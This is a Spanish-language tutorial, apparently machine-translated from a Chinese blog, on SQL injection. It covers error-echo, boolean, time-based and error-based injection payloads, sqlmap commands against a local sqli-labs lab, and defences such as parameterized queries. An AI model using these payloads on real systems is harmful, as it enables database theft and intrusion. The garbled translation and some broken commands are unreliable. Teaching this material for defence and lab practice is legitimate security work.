Ataque y protección de inyección SQL

Tabla de contenido

1. Descripción general de los ataques de inyección SQL

1.1 Concepto de inyección SQL

1.1.1 Proceso de consulta estándar

1.1.2 Definición de inyección SQL

1.2 Causa raíz de la inyección SQL

1.3 Condiciones de inyección SQL

1.4 Prevención de inyección SQL

1.4.1 Causa raíz: filtrado deficiente

1.4.2 Principio de diseño de seguridad: separación de datos y código

1.5 Proceso de inyección SQL

1.6 Clasificación de inyección SQL

1.6.1 Inyección de eco

1.6.2 Nota ciega

2. Ataque de inyección de eco

2.1 Encuentra el punto de inyección

2.1.1 Oraciones de uso común

2.1.2 Comentarios de la página 

2.2 Número rectangular de columnas

2.2.1 Comandos de uso común

2.2.2 Declaración de código

2.3 Base de datos MySQL

2.3.1 Funciones del sistema MySQL

3. Ataque de inyección ciega de SQL

3.1 Características de la inyección SQL ciega

3.1.1 Solo verdadero y falso

3.1.2 No hay información de base de datos válida

3.2 Clasificación de inyección ciega de SQL

3.2.1 Ciega booleana

3.2.2 Persianas de tiempo

3.2.3 Persianas de error

3.3 Idea general de inyección a ciegas

4. Protección contra ataques de inyección SQL

4.1 Ideas de protección de inyección SQL

4.1.1 Condiciones clave para la inyección SQL

4.1.2 La esencia de la inyección SQL

4.1.3 Principios de diseño de seguridad

4.2 Método de protección de inyección SQL

4.2.1 Filtrado de parámetros

4.2.2 Procesamiento de precompilación

5. Uso de SQLMap

5.1 Herramienta de inyección SQL

5.1.1 Mapa SQL

5.1.2 AhD

5.1.3 El niño

5.2 Uso de SQLMap

5.2.1 Introducción a SQLMap

5.2.2 Pasos de uso específicos (tipo GET)


1. Descripción general de los ataques de inyección SQL

1.1 Concepto de inyección SQL

1.1.1 Proceso de consulta estándar

1.1.2 Definición de inyección SQL

El atacante inserta comandos SQL en el campo de entrada del formulario web o la cadena de consulta de la solicitud de página , y el comando SQL malicioso insertado hará que cambie la función de la instrucción SQL original, obteniendo así un método de ataque que engaña al servidor para que ejecutando el comando SQL malicioso.

1.2 Causa raíz de la inyección SQL

No hay juicio sobre la legalidad de los datos de entrada del usuario.

1.3 Condiciones de inyección SQL

  • El usuario puede controlar los parámetros de entrada , y el usuario puede controlar el contenido de los parámetros pasados ​​desde el front-end hasta el back-end.
  • Los parámetros ingresados ​​por el usuario se empalman en la instrucción SQL y se incorporan a la consulta de la base de datos para convertirse en el código que se ejecutará .

1.4 Prevención de inyección SQL

1.4.1 Causa raíz: filtrado deficiente

1.4.2 Principio de diseño de seguridad: separación de datos y código

1.5 Proceso de inyección SQL

  • Determine el lenguaje de secuencias de comandos utilizado por el sistema web, encuentre el punto de inyección y determine si existe una vulnerabilidad de inyección SQL
  • Determinar el tipo de base de datos del sistema Web
  • Determinar la estructura de la tabla de juicios y los campos correspondientes en la base de datos de juicios
  • Construya la declaración de inyección para obtener el contenido de datos en la tabla
  • Encuentre el fondo del sitio web e inicie sesión con la cuenta de administrador y la contraseña obtenida por inyección SQL
  • Combinado con otras vulnerabilidades, cargue Webshell y continúe conectándose
  • Aumento adicional de privilegios para obtener los privilegios del sistema del servidor
  • Encuentra puntos de inyección
  • Comprobar el nombre de la biblioteca
  • Nombre de la tabla de búsqueda
  • Verifique el nombre del campo
  • comprobar datos clave

1.6 Clasificación de inyección SQL

1.6.1 Inyección de eco

Es decir, el usuario inicia una solicitud de consulta y el servidor devuelve el resultado de la consulta a la página para su visualización.

1.6.2 Nota ciega

La característica de la inyección ciega es que el usuario inicia una solicitud. Esta solicitud no es necesariamente una consulta. El servidor responde a la solicitud para consultar la base de datos y devuelve el resultado sin mostrar el resultado de la consulta específica . En un escenario típico, como el registro de un usuario, solo recibiremos un aviso si el registro se realizó correctamente y no mostraremos el contenido de la base de datos.

2. Ataque de inyección de eco

2.1 Encuentra el punto de inyección

2.1.1 Oraciones de uso común

' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试

2.1.2 Comentarios de la página 

  • No hay cambios en la página. No hay diferencia en las páginas de las tres situaciones anteriores, lo que significa que el filtro de fondo para este punto de consulta es relativamente estricto, y es necesario hacer un seguimiento de si existe una vulnerabilidad de inyección SQL.
  • Falta algo de contenido en la página. Si los primeros dos casos son normales, pero en el tercer caso obviamente faltan páginas, básicamente se puede confirmar que existe una vulnerabilidad de inyección SQL y continuar juzgando con el siguiente paso.
  • El error se repite. Si aparece un mensaje de error de la base de datos después de acceder a la tercera conexión, es obvio que hay una inyección y se utiliza el método de inyección de eco para la inyección.
  • Salta a la interfaz predeterminada. El primer caso es normal, pero el segundo y tercer caso saltan directamente a la página de inicio y a la página predeterminada, por lo que puede haber una lógica de verificación en segundo plano.
  • Cierra la conexión directamente. Si el acceso falla en la segunda y tercera situaciones anteriores, es posible activar la herramienta de protección y bloquearla en línea.

2.2 Número rectangular de columnas

2.2.1 Comandos de uso común

  • ordenar por (confirmar el número de columnas en la tabla)
  • unión (juzgando el bit de campo específico del eco, generalmente construyendo la declaración anterior como falsa)

2.2.2 Declaración de código

1' order by 1 #
1' order by 5 #

Comentarios: #, (%23), --+

2.3 Base de datos MySQL

2.3.1 Funciones del sistema MySQL

version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串

2.3.2 Riesgos de inyección SQL

  • Omitir la detección de inicio de sesión ilegal
  • Consultar ilegalmente información clave

3. Ataque de inyección ciega de SQL

3.1 Características de la inyección SQL ciega

3.1.1 Solo verdadero y falso

3.1.2 No hay información de base de datos válida

Se agrega un método de juicio a la declaración de inyección de eco para que el resultado devuelto sea verdadero o falso.

3.2 Clasificación de inyección ciega de SQL

3.2.1 Ciega booleana

La inyección ciega booleana es construir una declaración de juicio SQL

1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #

3.2.2 Persianas de tiempo

  • La inyección a ciegas de tiempo consiste en utilizar la función de tiempo para observar el tiempo de espera de diferentes condiciones. Use funciones como Sleep() o benchmark() para hacer que el tiempo de lote de MySQL sea más largo.
  • La inyección de educación a ciegas del tiempo se usa a menudo en combinación con la función if(expr1, expr2, expr3), donde si expr1 es True, el valor devuelto es el valor de expr2, de lo contrario, es el valor de expr3.
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)

3.2.3 Persianas de error

Construya un formulario de parámetro especial y use la información de error de algunas funciones para inyectar. Por ejemplo, updatexml(XML_document, XPath_string, new_value) reemplaza el valor de XPath_string en XML_document con new_value. en:

  • XML_document: formato de cadena, el nombre del objeto del documento XML
  • XPath_string: Cadena en formato XPath
  • new_value: formato de cadena, reemplaza los datos calificados encontrados
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

Obtenga el nombre de la tabla en la base de datos dvwa:

updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where 
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句

3.3 Idea general de inyección a ciegas

Tome los datos que desea consultar como destino, construya una declaración de juicio condicional de SQL, compárela con los datos que se van a consultar y deje que la base de datos indique si el lote de declaraciones actual es correcto.

4. Protección contra ataques de inyección SQL

4.1 Ideas de protección de inyección SQL

4.1.1 Condiciones clave para la inyección SQL

  • entrada controlable por el usuario
  • Parámetros traídos a la consulta de la base de datos.

4.1.2 La esencia de la inyección SQL

Ejecutar la entrada del usuario como código

4.1.3 Principios de diseño de seguridad

Separación de datos y códigos

4.2 Método de protección de inyección SQL

4.2.1 Filtrado de parámetros

① Restricciones del tipo de parámetro

  • Restricción de tipo de parámetro: función de determinación de tipo, como la determinación de tipo digital is_numeric(), cytpe_digit(), etc.
  • Límite de longitud del parámetro: como strlen(), etc.

② Manejo de personajes peligrosos

  • Filtrado de listas negras: filtrado de caracteres confidenciales en parámetros, utilizando la función preg_replace(), como union, \, ', select, etc.
  • Filtrado de lista blanca: solo aquellos que cumplen con la lista blanca pueden pasar
  • Escape de parámetros: use la función mysgli_real_escape_string para escapar de símbolos especiales

4.2.2 Procesamiento de precompilación

Prepare declaraciones, enlace variables y realice consultas parametrizadas. El servidor de la base de datos completa la compilación del comando SQL en la base de datos antes de ejecutar los parámetros, y la base de datos no ejecutará los parámetros , y solo si es un parámetro.

5. Uso de SQLMap

5.1 Herramienta de inyección SQL

5.1.1 Mapa SQL

5.1.2 AhD

5.1.3 El niño

5.2 Uso de SQLMap

5.2.1 Introducción a SQLMap

① Resumen

Una herramienta de inyección SQL automatizada de código abierto escrita en Python

② Funciones principales

Escanee, descubra y explote las vulnerabilidades de inyección SQL para una URL determinada

③ Características

  • Es totalmente compatible con una variedad de sistemas de administración de bases de datos: MySQL, Oracle, PostgreSQL, Microsoft SQL Server.Microsoft Access, IBM DB2, SQLite, Firebird, Sybase.SAP MaxDB, HSQLDB e Informix, etc.
  • Admite 5 tipos de inyección de consulta conjunta de tecnología de inyección SQL: inyección ciega de mercado, inyección ciega de tiempo, inyección ciega de error, inyección de consulta de montón
  • Soporta enumeración de usuarios, contraseñas, hash, permisos, roles, bases de datos, tablas y columnas
  • Admite la identificación automática de formatos hash de contraseñas y el descifrado de hashes de contraseñas a través de diccionarios

5.2.2 Pasos de uso específicos (tipo GET)

① Determinar si hay inyección

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"

② Almacén de explosión

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

③ Explosión

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security

④ Explosión

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security

⑤ Datos de ráfaga

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security

POST : sqlmap.py -r 3.txt --dbs

cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --nivel 2

Supongo que te gusta

Origin blog.csdn.net/weixin_62707591/article/details/131310043
Recomendado
Clasificación